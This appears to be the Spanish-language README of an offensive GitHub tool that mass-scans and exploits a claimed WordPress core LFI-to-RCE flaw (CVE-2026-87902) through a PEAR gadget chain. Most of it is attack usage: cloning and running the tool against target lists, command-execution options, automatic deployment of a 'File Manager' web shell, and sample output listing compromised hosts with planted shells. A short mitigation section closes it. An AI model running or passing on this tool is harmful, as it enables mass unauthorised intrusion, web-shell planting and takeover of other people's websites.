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🔍 Descripción general

CVE-2026-87902 es una vulnerabilidad crítica de Inclusión Local de Archivos (LFI) no autenticada en el núcleo de WordPress que conduce a la Ejecución Remota de Código (RCE) mediante la cadena de gadgets PEAR.

La vulnerabilidad reside en wp-includes/template.php:get_page_template(), que utiliza la variable de consulta pública pagename (leída desde $_POST) para construir un nombre de plantilla sin pasarla por validate_file(). Dado que locate_template() solo realiza file_exists(), un directorio real page-* dentro del tema activo permite un recorrido de rutas completo.

🎯 Cadena de ataque

┌─────────────────┐    ┌──────────────────┐    ┌──────────────────┐
│  Anonymous POST │───▶│   LFI via        │───▶│  PEAR Gadget     │
│   page_id +     │    │   page-templates/│    │  config-create   │
│   pagename      │    │   ../../../      │    │  writes shell    │
└─────────────────┘    └──────────────────┘    └──────────────────┘
                                                        │
                                                        ▼
                                              ┌──────────────────┐
                                              │  💀 RCE +        │
                                              │  File Manager    │
                                              └──────────────────┘

⚠️ Versiones afectadas

Producto	Vulnerable	Parcheado
WordPress Core	4.7.0 → 7.1.1	7.1.2+
Gravedad	🔴 CRÍTICA	—
CVSS 4.0	9.8	—
Autenticación	❌ No requerida	—

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⚡ Inicio rápido

📦 Instalación

# Clone repository
git clone https://github.com/HackfutSecRoot/CVE-2026-87902.git
cd CVE-2026-87902

# Install dependencies (stdlib only — no pip needed!)
python --version  # Requires Python 3.8+

🚀 Primera ejecución

# 1. Create your targets file
echo "https://target.com" > targets.txt
echo "https://another-site.org" >> targets.txt

# 2. Non-destructive check (safe)
python main.py -l targets.txt --check --threads 20

# 3. Full exploit + File Manager
python main.py -l targets.txt --rce --shell --threads 10

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🎯 Uso

📋 Modos disponibles

Modo	Comando	Descripción
🔍 Check	python main.py -l targets.txt --check	Detección de LFI no destructiva
💥 LFI	python main.py -l targets.txt	Confirmar LFI con el oráculo OPML
⚡ RCE	python main.py -l targets.txt --rce --command "id"	Ejecutar comandos mediante PEAR
📁 Shell	python main.py -l targets.txt --rce --shell	Desplegar el Gestor de Archivos

🔧 Opciones de línea de comandos

python main.py --help

  -u, --url URL          Single target URL
  -l, --list FILE        File with targets (one per line)
  --check                Non-destructive check only
  --rce                  Enable RCE escalation
  --shell                Deploy File Manager shell
  --command CMD          Command to run (default: id)
  --page-id N            Force specific page ID
  --threads N            Concurrent threads (default: 20)
  --timeout S            Per-request timeout (default: 12)
  --proxy URL            HTTP(S) proxy
  --output FILE          Full log output
  --output-vuln FILE     Vulnerable targets only
  --output-rce FILE      RCE targets only
  --no-color             Disable ANSI colors

💡 Ejemplos

# Single target with RCE + File Manager
python main.py -u https://target.com --rce --shell --command "whoami"

# Mass scan with proxy (Burp Suite)
python main.py -l targets.txt --rce --proxy http://127.0.0.1:8080 --threads 5

# Custom page ID if discovery fails
python main.py -u https://target.com --page-id 2 --rce --shell

📊 Salida

Tras una ejecución exitosa, se generan los siguientes archivos:

Archivo	Contenido
📄 results.txt	Registro completo del escaneo
🎯 vulnerable.txt	Objetivos con LFI confirmado
💀 rce.txt	Objetivos con RCE exitoso
📁 shells.txt	URLs del gestor de archivos

🖥️ Ejemplo de salida en consola

======================================================================
  CVE-2026-87902 Mass Scanner v3.0
  WordPress get_page_template() Unauthenticated LFI -> RCE
  
  GHSA-7hp8-65ch-5whp | CVSS 9.8 | CWE-22
  Affected: WordPress 4.7.0 - 7.1.1
  Payload: File Manager (auto-deploy)
======================================================================
  Mode     : EXPLOIT + FILE MANAGER
  Targets  : 50
  Threads  : 20
  Timeout  : 12.0s
  Started  : 2026-09-28 14:32:15
======================================================================

[14:32:16] [+] https://target1.com | VULNERABLE | LFI confirmed: wp-links-opml.php via page-templates/../../../../ (page_id=2, POST, depth=4)
[14:32:17] [*] https://target1.com | Starting RCE + File Manager...
[14:32:18] [+]   Gadget found: /usr/share/php/pearcmd @ depth=7
[14:32:19] [$]   File Manager deployed: https://target1.com/?page_id=2&pagename=...
[14:32:19] [$] https://target1.com | File Manager | https://target1.com/...
[14:32:20] [-] https://target2.com | NOT_VULN | Patched: 7.1.5 >= 7.1.2
[14:32:21] [!] https://target3.com | POSSIBLY | Vulnerable version (5.8.1) but OPML oracle didn't fire
[14:32:22] [!] https://target4.com | RCE | uid=33(www-data) gid=33(www-data)

======================================================================
  SCAN SUMMARY
======================================================================
  Total scanned    : 50
  Vulnerable       : 12
  RCE achieved     : 8
  File Managers    : 8
  Possibly vuln    : 5
  Not vulnerable   : 28
  Not WordPress    : 3
  Errors           : 2
  Elapsed          : 45.2s
  Rate             : 1.1 hosts/s
======================================================================

🛡️ Mitigación

Si eres administrador de sistemas:

1. Actualiza WordPress a 7.1.2 o posterior
2. Aplica los backports para tu rama:
   • 6.8.10, 7.0.6, 7.1.2
3. Regla WAF: Bloquea las solicitudes con pagename que contengan ../ o %2e%2e
4. Desactiva register_argc_argv en php.ini (bloquea la cadena PEAR)
5. Elimina pearcmd.php si PEAR no es necesario

; php.ini
register_argc_argv = Off

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📞 Contacto